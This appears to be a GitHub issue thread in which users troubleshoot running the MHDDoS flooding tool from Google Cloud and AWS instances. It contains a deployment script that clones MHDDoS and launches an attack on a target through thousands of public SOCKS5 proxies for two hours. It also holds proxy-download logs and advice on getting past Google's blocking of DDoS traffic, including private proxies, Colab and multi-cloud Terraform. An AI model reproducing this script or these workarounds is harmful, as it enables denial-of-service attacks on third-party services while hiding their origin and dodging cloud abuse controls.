CentOS + Google Cloud: Proxy Check failed, Your network may be the problem

[nikkatalnikov]

At CentOS 7 I am getting an error while trying to commence the script on Google Cloud compute instaces.

The log is attached:

[20:36:40 - INFO] Downloading Proxies form 8 Providers
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://api.proxyscrape.com/?request=displayproxies&proxytype=http, Type: HTTP, Timeout: 5)
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://www.proxy-list.download/api/v1/get?type=http, Type: HTTP, Timeout: 5)
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://www.proxyscan.io/download?type=http, Type: HTTP, Timeout: 5)
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://api.openproxylist.xyz/http.txt, Type: HTTP, Timeout: 5)
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt, Type: HTTP, Timeout: 5)
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt, Type: HTTP, Timeout: 5)
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt, Type: HTTP, Timeout: 5)
[20:36:40 - DEBUG] Downloading Proxies form (URL: https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt, Type: HTTP, Timeout: 5)
[20:36:41 - INFO] 6,303 Proxies are getting checked, this may take awhile!
[20:36:42 - ERROR] Proxy Check failed, Your network may be the problem | The target may not be available.

The proxy file is empty. Running the script again:

[21:01:40 - INFO] Empty Proxy File, running flood without proxy

could you please assist?

[nikkatalnikov]

hmm... this is not an issue on AWS. i'd probably will close an issue.

[corecorecorecore]

Google blocks DDoS Attacks from their servers now. At least from python I know that.

[nikkatalnikov]

nope, it does not - load testing tools like siege, ab, bombardier work fine from GCP.

it blocks downloading the list of proxies from external URLs. still weird.

[corecorecorecore]

Hm on my script it blocks the attack but not the proxy download, weird, might wanna use ur own proxies instead

[nikkatalnikov]

which instance type/region have you used?

[corecorecorecore]

U mean proxies? I use socks5 and https on my script, Region is random

[nikkatalnikov]

these are my scripts on both AWS and GCP

#!/usr/bin/env sh

sudo yum update -y
sudo yum install python3 -y
sudo yum install git -y
git clone https://github.com/MHProDev/MHDDoS.git
cd MHDDoS
sudo pip3 install -U pip
pip install -r requirements.txt
echo "RUNNING ${method} MHDDoS against ${target}"
python3 start.py ${method} ${target} 5 1000 socks5.txt 1000 7200 true

works on AWS, fails on GCP

[nikkatalnikov]

so it looks like the code has enough privileges to write into a disk on AWS, while not on GCP. GCP logs:

[02:08:47 - WARNING] The file doesn't exist, creating files and downloading proxies.
[02:08:47 - INFO] Downloading Proxies form 7 Providers
[02:08:47 - DEBUG] Downloading Proxies form (URL: https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5, Type: SOCKS5, Timeout: 5)
[02:08:47 - DEBUG] Downloading Proxies form (URL: https://www.proxy-list.download/api/v1/get?type=socks5, Type: SOCKS5, Timeout: 5)
[02:08:47 - DEBUG] Downloading Proxies form (URL: https://www.proxyscan.io/download?type=socks5, Type: SOCKS5, Timeout: 5)
[02:08:47 - DEBUG] Downloading Proxies form (URL: https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt, Type: SOCKS5, Timeout: 5)
[02:08:47 - DEBUG] Downloading Proxies form (URL: https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt, Type: SOCKS5, Timeout: 5)
[02:08:47 - DEBUG] Downloading Proxies form (URL: https://api.openproxylist.xyz/socks5.txt, Type: SOCKS5, Timeout: 5)
[02:08:47 - DEBUG] Downloading Proxies form (URL: https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt, Type: SOCKS5, Timeout: 5)
[02:08:48 - INFO] 6,167 Proxies are getting checked, this may take awhile!
[02:08:50 - ERROR] Proxy Check failed, Your network may be the problem | The target may not be available.

[nikkatalnikov]

seems like the problem is in the following code from PyRoxy. somehow either a timeout is too small or to many threads are open for GCP.

class ProxyChecker:

    @staticmethod
    def checkAll(proxies: Collection[Proxy],
                 url: Any = "https://httpbin.org/get",
                 timeout=5,
                 threads=1000):
        with ThreadPoolExecutor(
                max(min(round(len(proxies) * cpu_count()), threads),
                    1)) as executor:
            future_to_proxy = {
                executor.submit(proxy.check, url, timeout): proxy
                for proxy in proxies
            }
            return {
                future_to_proxy[future]
                for future in as_completed(future_to_proxy) if future.result()
            }

ulimit change on GCP does not help. cpu_count is 1.

[MHProDev]

use colab

[nikkatalnikov]

colab does not scale. i use terraform both for AWS and GCP. looks like GCP firewall rules, but not sure yet.

i will post the resolution if found.